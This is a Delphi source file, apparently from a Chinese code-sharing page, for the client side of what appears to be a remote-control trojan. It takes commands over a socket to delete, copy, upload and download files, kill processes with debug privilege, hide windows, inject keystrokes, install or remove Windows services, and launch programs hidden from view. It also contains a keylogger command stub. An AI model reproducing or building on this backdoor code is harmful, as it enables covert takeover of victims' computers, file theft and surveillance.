📄 filelistandsysinfounit.pas
字号:
Break;
end;
//再接收真正的数据
if RecvAllData(FileSysRecvCMDSocket, @FileSysCMDDataBuffer[0],
myDataHeaderInfo.CompressedDataSize - sizeof(myInterChangeHeader),
ActuallySentSizePerPakage, FileSysSendNotifyEvent) = SOCKET_ERROR then
begin
Break;
end;
//解析命令
case myInterChangeHeader.Order of
//文件信息
CMDDeleteFile: //DelteFile
begin
DesStr := FileSysCMDDataBuffer;
DelDirectory(DesStr);
end;
CMDMakeDir: //MakeDir
begin
DesStr := PChar(@FileSysCMDDataBuffer[0]);
CreateDirectory(PChar(DesStr), nil);
end;
CMDPeastFile: //PeastFile
begin
//得到原文件路径
ZeroMemory(@tmpBuffer[0], sizeof(tmpBuffer));
CopyMemory(@tmpBuffer[0], @FileSysCMDDataBuffer[0], myInterChangeHeader.ExdSource);
SrcStr := tmpBuffer;
//得到目标文件路径
ZeroMemory(@tmpBuffer[0], sizeof(tmpBuffer));
CopyMemory(@tmpBuffer[0], @FileSysCMDDataBuffer[myInterChangeHeader.ExdSource], myInterChangeHeader.ExdDest);
DesStr := tmpBuffer;
if myInterChangeHeader.OrderExtend = CMDCopyFile then
CopyDirectory(SrcStr, DesStr, True)//实现文件拷贝
else
CopyDirectory(SrcStr, DesStr, False); //实现文件剪切
end;
CMDRenameFile: //RenameFile
begin
//得到原文件路径
ZeroMemory(@tmpBuffer[0], sizeof(tmpBuffer));
CopyMemory(@tmpBuffer[0], @FileSysCMDDataBuffer[0], myInterChangeHeader.ExdSource);
SrcStr := tmpBuffer;
//得到目标文件路径
ZeroMemory(@tmpBuffer[0], sizeof(tmpBuffer));
CopyMemory(@tmpBuffer[0], @FileSysCMDDataBuffer[myInterChangeHeader.ExdSource], myInterChangeHeader.ExdDest);
DesStr := tmpBuffer;
RenDirectory(SrcStr, DesStr);
end;
CMDSendFileList: //SendFileList
begin
SrcStr := PChar(@FileSysCMDDataBuffer[0]);
//得到文件夹下的文件列表或磁盘信息
if SrcStr = '' then
GetListAndSend(FileSysRecvCMDSocket, SrcStr, False, FileListTypeDriver)
else
GetListAndSend(FileSysRecvCMDSocket, SrcStr, False, FileListTypeDir);
end;
CMDGetSystemInfo:
begin
SendClientSystemInfo(FileSysRecvCMDSocket);
end;
//进程信息
CMDGetProcessList:
begin
GetProcessListAndSend(FileSysRecvCMDSocket);
end;
CMDKillProcess:
begin
//获得调试权限
if EnableDebugPrivilege then
begin
//得到进程句柄
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, True, myInterChangeHeader.OrderExtend);
if ProcessHandle <> 0 then
begin
TerminateProcess(ProcessHandle, 0);
CloseHandle(ProcessHandle);
end;
end;
end;
//列出窗口
CMDGetWindowList:
begin
SendAllWindowList(FileSysRecvCMDSocket);
end;
CMDKillWindow:
begin
PostMessage(myInterChangeHeader.OrderExtend, WM_SYSCOMMAND, MakeLong(SC_CLOSE, 0), 0);
end;
CMDBringWindowFront:
begin
BringWindowToTop(myInterChangeHeader.OrderExtend);
end;
CMDHideWindow:
begin
ShowWindow(myInterChangeHeader.OrderExtend, SW_HIDE);
end;
CMDShowWindow:
begin
ShowWindow(myInterChangeHeader.OrderExtend, SW_SHOW);
end;
CMDMaxWindow:
begin
ShowWindow(myInterChangeHeader.OrderExtend, SW_MAXIMIZE);
end;
CMDMinWindow:
begin
ShowWindow(myInterChangeHeader.OrderExtend, SW_MINIMIZE);
end;
CMDResoreWindow:
begin
ShowWindow(myInterChangeHeader.OrderExtend, SW_RESTORE);
end;
CMDSendChar:
begin
SrcStr := PChar(@FileSysCMDDataBuffer[0]);
if SrcStr <> '' then
begin
SpeakToWindow(SrcStr, myInterChangeHeader.OrderExtend);
if myInterChangeHeader.OrderExtend = CMDSendCharEnter then
begin
SendMessage(myInterChangeHeader.ExdSource, WM_KEYDOWN, VK_CONTROL, 0);
Sleep(100);
SendMessage(myInterChangeHeader.ExdSource, WM_KEYDOWN, VK_CONTROL, 1);
end
else if myInterChangeHeader.OrderExtend = CMDSendCharEnterCtrl then
begin
SendMessage(myInterChangeHeader.ExdSource, WM_KEYDOWN, VK_CONTROL, 0);
SendMessage(myInterChangeHeader.ExdSource, WM_KEYDOWN, VK_RETURN, 0);
Sleep(100);
SendMessage(myInterChangeHeader.ExdSource, WM_KEYDOWN, VK_CONTROL, 1);
SendMessage(myInterChangeHeader.ExdSource, WM_KEYDOWN, VK_RETURN, 1);
end;
end;
end;
//服务信息
CMDGetServcieList:
begin
SrcStr := '';//重要,先初始化,否则出错
myCSM.EnumWin32Service(SrcStr);
//得到文件夹下的文件列表或磁盘信息
if SrcStr <> '' then
GetListAndSend(FileSysRecvCMDSocket, SrcStr, False, ServiceListType);
end;
CMDStartService:
begin
myCSM.StartWin32Service(myInterChangeHeader.OrderExtend);
end;
CMDStopService:
begin
myCSM.StopWin32Service(myInterChangeHeader.OrderExtend);
end;
CMDPauseService:
begin
myCSM.PauseWin32Service(myInterChangeHeader.OrderExtend);
end;
CMDContinueService:
begin
myCSM.ContinueWin32Service(myInterChangeHeader.OrderExtend);
end;
CMDSetAutoStartType:
begin
myCSM.SetAutoStartType(myInterChangeHeader.OrderExtend);
end;
CMDSetManualStartType:
begin
myCSM.SetManualStartType(myInterChangeHeader.OrderExtend);
end;
CMDSetDisableStartType:
begin
myCSM.SetDisableStartType(myInterChangeHeader.OrderExtend);
end;
CMDAddWin32Service:
begin
//得到服务名
ZeroMemory(@tmpBuffer[0], sizeof(tmpBuffer));
CopyMemory(@tmpBuffer[0], @FileSysCMDDataBuffer[0], myInterChangeHeader.ExdSource);
SrcStr := tmpBuffer;
//得到服务显示名
ZeroMemory(@tmpBuffer[0], sizeof(tmpBuffer));
CopyMemory(@tmpBuffer[0], @FileSysCMDDataBuffer[myInterChangeHeader.ExdSource], myInterChangeHeader.ExdDest);
DesStr := tmpBuffer;
//得到执行的安装程序路径
ZeroMemory(@tmpBuffer[0], sizeof(tmpBuffer));
CopyMemory(@tmpBuffer[0], @FileSysCMDDataBuffer[myInterChangeHeader.ExdSource +
myInterChangeHeader.ExdDest], myInterChangeHeader.OrderExtend);
ExampleStr := tmpBuffer;
//必须带有双引号括住,后面可以跟参数,例如"d:\\myshare\\myservice.exe arg1 arg2"
myCSM.AddWin32Service(PChar(SrcStr), PChar(DesStr), PChar(ExampleStr));
end;
CMDDeleteWin32Service:
begin
myCSM.DeleteWin32Service(myInterChangeHeader.OrderExtend);
end;
//键盘记录信息
CMDGetKeyRecord:
begin
end;
//运行方式 CMDRunNormal:
begin
SrcStr := PChar(@FileSysCMDDataBuffer[0]);
//正常运行
ShellExecute(0, 'open', PChar(SrcStr), nil, nil, SW_SHOWNORMAL);
end;
CMDRunHide:
begin
SrcStr := PChar(@FileSysCMDDataBuffer[0]);
//隐藏运行
ShellExecute(0, 'open', PChar(SrcStr), nil, nil, SW_HIDE);
end;
CMDPMRunWithParam:
begin
//得到原文件路径
ZeroMemory(@tmpBuffer[0], sizeof(tmpBuffer));
CopyMemory(@tmpBuffer[0], @FileSysCMDDataBuffer[0], myInterChangeHeader.ExdSource);
SrcStr := tmpBuffer;
//得到目标文件路径
ZeroMemory(@tmpBuffer[0], sizeof(tmpBuffer));
CopyMemory(@tmpBuffer[0], @FileSysCMDDataBuffer[myInterChangeHeader.ExdSource], myInterChangeHeader.ExdDest);
DesStr := tmpBuffer;
RenDirectory(SrcStr, DesStr);
//带有参数的运行
ShellExecute(0, 'open', PChar(SrcStr), PChar(DesStr), nil, SW_HIDE);
end;
//文件操作
RecvFile:
begin
SrcStr := PChar(@FileSysCMDDataBuffer[0]);
//得到文件夹下的文件列表或磁盘信息
if SrcStr = '' then
Exit
else
//接受文件
RecvMyFile(FileSysRecvCMDSocket, SrcStr, @FileSysCMDDataBuffer[0],
myInterChangeHeader.OrderExtend, myInterChangeHeader.ExdSource, FileSysRecvNotifyEvent);
end;
SendFile:
begin
SrcStr := PChar(@FileSysCMDDataBuffer[0]);
//得到文件夹下的文件列表或磁盘信息
if not FileExists(SrcStr) then
Exit
else
//发送文件 //断点继传点
SendMyFile(FileSysRecvCMDSocket, SrcStr, myInterChangeHeader.ExdSource, FileSysRecvNotifyEvent);
end;
end;
ZeroMemory(@FileSysCMDDataBuffer[0], sizeof(FileSysCMDDataBuffer));
end;
end;
//发送字符串给指定窗口
procedure TFileListAndSysInfo.SpeakToWindow(Words : string; const Xy2Handle : HWND);
var
i : integer;
myWord : word;
tmpInt : integer;
begin
tmpInt := Length(Words);
i := 1;
repeat
if IsDBCSLeadByte(Byte(Words[i])) = True then //是否是中文前半部分
begin
myWord := Word(Words[i])
shl 8 + Word(Words[i + 1]);
Inc(i, 2)
end
else
begin
myWord := Word(Words[i]);
Inc(i, 1)
end;
SendMessage(Xy2Handle, WM_IME_CHAR, myWord, 0);
until i > tmpInt;
end;
(*---------------------------------文件收发部分-------------------------------*)
//文件的接收
function TFileListAndSysInfo.RecvMyFile(const Socket : TSocket;
const FileName : string; PakageDataRecvBuffer : Pointer;
const PakageLengthToRecv : LongInt; const StartWritePositon : LongInt = 0;
const RecvNotifyEvent : THandle = 0) : integer;
var
ErrorCode : LongInt;
TotalRecv : LongInt;
RecvBytePerRecv, BytesLeft : LongInt;
NumberOfByteWritten : DWORD;
hFile : THandle;
begin
TotalRecv := 0;
BytesLeft := PakageLengthToRecv;
RecvBytePerRecv := 0;
if not FileExists(FileName) then
hFile := CreateFile(PChar(FileName), GENERIC_WRITE, FILE_SHARE_WRITE,
nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
else
hFile := CreateFile(PChar(FileName), GENERIC_WRITE, FILE_SHARE_WRITE,
nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
//如果文件打开或者创建错误,则退出
if hFile = INVALID_HANDLE_VALUE then
begin
Result := SOCKET_ERROR; //文件操作失败
Closehandle(hFile);
Exit;
end;
SetFilePointer(hFile, StartWritePositon, nil, FILE_BEGIN);
//循环接收文件
while (TotalRecv < PakageLengthToRecv) do
begin
RecvBytePerRecv := Recv(Socket, PakageDataRecvBuffer^, BytesLeft, 0);
if RecvBytePerRecv = SOCKET_ERROR then
begin
ErrorCode := WSAGetLastError;
if ErrorCode = WSAEWOULDBLOCK then
begin
if RecvNotifyEvent = 0 then
Sleep(1)
else
WaitForSingleObject(RecvNotifyEvent, 1);
Continue;
end
else
Break;
end;
//写入文件
WriteFile(hFile, PakageDataRecvBuffer, RecvBytePerRecv, NumberOfByteWritten, nil);
//下移文件指针
SetFilePointer(hFile, RecvBytePerRecv, nil, FILE_CURRENT);
TotalRecv := TotalRecv + RecvBytePerRecv;
BytesLeft := BytesLeft - RecvBytePerRecv;
end;
Result := Min(RecvBytePerRecv, 0);
Closehandle(hFile);
end;
//文件的发送
function TFileListAndSysInfo.SendMyFile(const Socket : TSocket; const FileName : string;
const StartWritePositon : LongInt = 0; const SendNotifyEvent : THandle = 0) : integer;
var
NumberOfByteSend : LongInt;
ErrorCode : Byte;
begin
Result := 0;
ErrorCode := $FF;
hFile := CreateFile(PChar(FileName), GENERIC_READ, FILE_SHARE_READ,
nil, OPEN_ALWAYS, 0, 0);
//如果文件打开错误,则退出
if hFile = INVALID_HANDLE_VALUE then
begin
OutputDebugString(PChar('openfile error ' + IntToStr(GetLastError)));
Result := SOCKET_ERROR; //文件操作失败
SendAllTheData(Socket, @ErrorCode, sizeof(ErrorCode), 0, SendNotifyEvent, FileOpenEror);
Closehandle(hFile);
hFile := 0;
Exit;
end;
NumberOfByteSend := GetFileSize(hFile, nil);
//如果继传点,大于或等于文件大小,就直接退出
if NumberOfByteSend <= StartWritePositon then
begin
SendAllTheData(Socket, @ErrorCode, sizeof(ErrorCode), 0, SendNotifyEvent, NothingNeedTransmit);
Closehandle(hFile);
hFile := 0;
Exit;
end;
hFileMapping := CreateFileMapping(hFile, nil, PAGE_READONLY, 0, NumberOfByteSend, nil);
if hFileMapping = 0 then
begin
SendAllTheData(Socket, @ErrorCode, sizeof(ErrorCode), 0, SendNotifyEvent, CreateMapViewError);
Result := SOCKET_ERROR; //操作失败
Closehandle(hFile);
hFile := 0;
Exit;
end;
//关闭文件句柄
Closehandle(hFile);
hFile := 0;
NumberOfByteSend := NumberOfByteSend - StartWritePositon;
MapPointer := MapViewOfFile(hFileMapping, FILE_MAP_READ, 0,
StartWritePositon, NumberOfByteSend);
if MapPointer = nil then
begin
SendAllTheData(Socket, @ErrorCode, sizeof(ErrorCode), 0, SendNotifyEvent, MapViewError);
Result := SOCKET_ERROR; //操作失败
Exit;
end;
SendAllTheData(Socket, MapPointer, NumberOfByteSend, 0, SendNotifyEvent, TransmitFileData);
UnmapViewOfFile(MapPointer);
MapPointer := nil;
CloseHandle(hFileMapping);
hFileMapping := 0;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -